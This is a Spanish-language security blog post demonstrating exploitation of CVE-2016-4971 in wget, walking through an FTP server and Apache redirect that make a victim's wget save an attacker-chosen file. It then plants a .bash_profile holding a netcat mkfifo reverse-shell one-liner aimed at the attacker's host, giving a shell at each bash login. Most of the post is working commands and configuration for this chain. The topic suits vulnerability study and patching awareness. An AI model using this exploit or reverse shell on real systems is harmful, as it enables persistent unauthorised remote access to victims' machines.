Análisis de vulnerabilidadesExplotación

Explotando wget. CVE-2016-4971

Buenas compañeros,

Esta semana leyendo las noticias encontramos que se ha publicado una vulnerabilidad en WGET que afecta hasta la versión 1.17.
Es el CVE que acompaña al titulo, la descripción nos dice;

En una redirección de HTTP a un recurso FTP, wget confia en el servidor HTTP y usa el nombre
de archivo de la redirección como nombre destino.



Vamos a ver que necesitamos para plantear un escenario de explotación paso a paso.
Primero montar un servidor FTP que alojará el fichero que queremos que se descargue la victima.

Partiendo de una Kali, instalamos proftpd.

apt-get install proftpd-basic


Creamos el directorio raíz y le damos permisos para el usuario
proftpd
cd /var/
mkdir ftp
chown proftpd -R ftp/
cd ftp/
touch TEST


Creamos también un archivo TEST en la raíz y configuramos el servicio FTP.

Con una configuración básica será suficiente para la prueba.

DefaultRoot /var/ftp
<Limit LOGIN>
   DenyAll
</Limit>

<Anonymous /var/ftp>
   User   proftpd
   UserAlias anonymous proftpd
   RequireValidShell off

   <Limit LOGIN>
      AllowAll
   </Limit>
</Anonymous>


Iniciamos el servicio FTP,  service proftpd start
ya tenemos el servidor ftp. Vamos con Apache para crear la redirección.
 
Lo primero vamos a crear un archivo gancho, este es el que la victima creerá descargar.
Le vamos a poner el suculento nombre de claves.txt.
touch /var/www/html/claves.txt

 

Ahora configuramos una redirección simple en Apache que redirija las peticiones de claves.txt al archivo que hemos alojado en nuestro FTP.

nano /etc/apache2/sites-enabled/000 sites-enabled/000-default.conf

 

redirect_test
Redirect /claves.txt ftp://192.168.10.185/TEST

Finalmente reiniciamos Apache, service apache2 restart,  para que cargue la nueva configuración y ya tenemos la trampa hecha.

Resultado

Cuando una victima haga wget sobre nuestro archivo claves.txt realmente descargará el archivo TEST del ftp.

wget http://192.168.10.185/claves.txt
wget http://192.168.10.185/claves.txt

Sacando provecho de la situación

Hemos visto que el problema reside en la falta de comprobaciones por parte de wget en el nombre destino, por lo que sabiendo que podemos escribir en destino con un nombre arbitrario podemos intentar escribir algún archivo que interprete el sistema.
Como «.bash_login» y «.bash_profile» son archivos que ejecuta Bash cuando crea un nueva sesión parecen buenas opciones.
Manos a la obra, nos vamos a crear un archivo .bash_profile en el que vamos a incluir una Shell Reversa, por ejemplo, con netcat.
 

 

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.10.185 5151 >/tmp/f &
 
 

Guardamos como .bash_profile en la raíz del ftp y modificamos nuestra redirección en Apache para que apunte al nuevo archivo.

Redirect /claves.txt ftp://192.168.10.185/.bash_profile
Redirect /claves.txt ftp://192.168.10.185/.bash_profile

Reiniciamos Apache y levantamos un netcat para recibir la conexión.

wget http://192.168.10.185/claves.txt [.bash_profile]
wget http://192.168.10.185/claves.txt [.bash_profile]


Ahora cuando la victima ejecute wget contra el archivo claves.txt se crea un archivo .bash_profile con una Shell que se ejecutará en cada inicio.

Obtenemos una Shell cuando se inicia bash en la victima
Obtenemos una Shell cuando se inicia bash en la victima

 

Referencias:
http://unaaldia.hispasec.com/2016/06/wget-permite-atacantes-remotos-la.html
http://www.ubuntu.com/usn/usn-3012-1/
http://people.canonical.com/~ubuntu-security/cve/2016/CVE-2016-4971.html

 

Belane

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Los datos introducidos se guardarán en nuestra base de datos como parte del comentario publicado, como se indica en la política de privacidad.